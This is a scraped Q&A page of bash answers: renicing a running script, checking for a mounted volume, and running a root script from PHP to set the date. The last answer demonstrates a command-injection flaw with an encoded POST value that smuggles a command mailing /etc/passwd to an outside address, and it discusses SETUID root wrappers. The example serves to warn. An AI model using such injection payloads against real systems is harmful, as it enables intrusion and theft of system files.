Bash – Change nice level of currently running script

bashnice

I would like to change the nice level of the currently running script:

#!/bin/bash

nice_it ( ) {
    nice
    ps -o "%p %r %y %x %n %c %a"
}

nice_it

That does not work, since nice tries to change the nice level of the command started by it.

Is it possible to achieve this in bash?

Best Answer

This is pretty trivial.

renice -n 10 $$

Related Solutions

Best Way to Check if a Volume is Mounted in a Bash Script – Linux Bash

Avoid using /etc/mtab because it may be inconsistent.

Avoid piping mount because it needn't be that complicated.

Simply:

if grep -qs '/mnt/foo ' /proc/mounts; then
    echo "It's mounted."
else
    echo "It's not mounted."
fi

(The space after the /mnt/foo is to avoid matching e.g. /mnt/foo-bar.)

Ubuntu – running a bash script as root to change the date, when called by a php script

First, I assume you realize that PHP script is susceptible to command injection, yes? For example, if I POST to the script with "input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd" I could expect a nice password file in my inbox.

Second, setting the system time requires root privileges. If you were calling a binary executable, you could make it SETUID (chmod u+s $program; chown root $program). Fortunately, Linux does not respect the SETUID bit on scripts. If you are absolutely set on this technique, one fix is to write a C wrapper to call your script as root. The wrapper would be SETUID root and would call your script. If you do this, please be sure to sanitize the input before passing it off to your script!

EDIT:

https://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root

Best Answer

Related Solutions

Best Way to Check if a Volume is Mounted in a Bash Script – Linux Bash

Ubuntu – running a bash script as root to change the date, when called by a php script

Related Topic